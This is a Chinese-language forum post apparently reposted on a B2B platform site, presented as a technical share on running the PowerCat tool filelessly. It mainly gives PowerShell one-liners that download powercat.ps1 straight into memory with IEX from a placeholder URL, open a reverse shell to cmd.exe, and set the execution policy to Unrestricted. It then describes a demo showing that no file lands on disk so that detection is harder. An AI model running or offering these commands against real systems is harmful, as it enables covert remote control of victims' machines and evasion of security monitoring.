ToB企服应用市场:ToB评测及商务社交产业平台

标题: Powercat 无文件落地执行本领,你确定不进来看看? [打印本页]

作者: 张裕    时间: 2024-12-25 21:46
标题: Powercat 无文件落地执行本领,你确定不进来看看?
声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依靠于本文信息所造成的法律后果均与本人无关。请读者自行判定风险,并遵循相关法律法规。

目录

无文件落地执行(fileless execution)是一种技术,用于制止在磁盘上留下文件痕迹,使得恶意行为更难被检测到。PowerCat 是一个基于 PowerShell 的渗透测试工具,可以使用 PowerShell 的特性实现无文件落地执行。
  1. IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1')
复制代码
或者使用 Invoke-RestMethod:
  1. IEX (Invoke-RestMethod -Uri 'https://example.com/path/to/powercat.ps1')
复制代码
  1. powercat -c target_ip -p target_port -e cmd.exe
复制代码
完整示例

假设 PowerCat 脚本托管在 https://example.com/path/to/powercat.ps1:
  1. IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1'); powercat -c target_ip -p target_port -e cmd.exe
复制代码
此命令会在内存中下载并执行 PowerCat 脚本,并立即通过 PowerCat 建立反向 shell 连接。
注意事项

  1. Set-ExecutionPolicy Unrestricted -Scope Process
复制代码
通过这些步骤,你可以实现 PowerCat 的无文件落地执行,直接在内存中下载并执行 PowerCat 脚本。
演示

远端机开启web服务,用于被控端下载powercat 脚本

攻击机开启监听

执行命令

攻击端成功吸收

查察被控端执行目录文件列表,不存在powercat.ps1 文件,说明文件未落地执行,直接在内存中执行。

当然除了使用 IEX 进行无文件落地,还可以使用的方法有 4 种。
欢迎关注 公众号 “D1TASec” 查察文章。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4